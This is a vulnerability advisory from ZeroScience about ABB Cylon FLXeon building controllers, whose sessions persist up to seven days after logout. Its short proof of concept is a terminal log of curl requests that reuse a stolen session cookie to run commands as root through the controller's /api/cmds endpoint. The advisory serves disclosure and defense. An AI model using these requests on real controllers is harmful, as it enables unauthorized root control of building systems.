ABB Cylon FLXeon 9.3.4 Session Persistence Vulnerability


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: User sessions on ABB Cylon FLXeon controllers remain active for up to seven
days, even after a client-side logout. Clicking "Log Out" does not properly revoke
the session on the server, allowing attackers with access to stolen session tokens
to maintain unauthorized access. This increases the risk of session hijacking and
privilege abuse.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5922
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5922.php


21.04.2024

--


$ cat project

                 P   R   O   J   E   C   T

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 ____|  '-'     '    ""       '-'   '-.'    '`      |____
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         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░


$ date
The current date is: 15-May-24
Enter the new date: (dd-mm-yy)
$ curl -k "https://7.3.3.1/api/cmds" -H "Cookie: user_sid=s%3A8z0gUG_B8JuK...XuI" -d "{\"cmd\":\"id\"}" -H "Content-Type: application/json"
{"result":"uid=0(root) gid=0(root) groups=0(root)\n"}
# Logout from browser.
$ date
The current date is: 21-May-24
Enter the new date: (dd-mm-yy)
$ curl -k "https://7.3.3.1/api/cmds" -H "Cookie: user_sid=s%3A8z0gUG_B8JuK...XuI" -d "{\"cmd\":\"id\"}" -H "Content-Type: application/json"
{"result":"uid=0(root) gid=0(root) groups=0(root)\n"}
$ date
The current date is: 22-May-24
Enter the new date: (dd-mm-yy)
$ curl -k "https://7.3.3.1/api/cmds" -H "Cookie: user_sid=s%3A8z0gUG_B8JuK...XuI" -d "{\"cmd\":\"id\"}" -H "Content-Type: application/json"
Unauthorized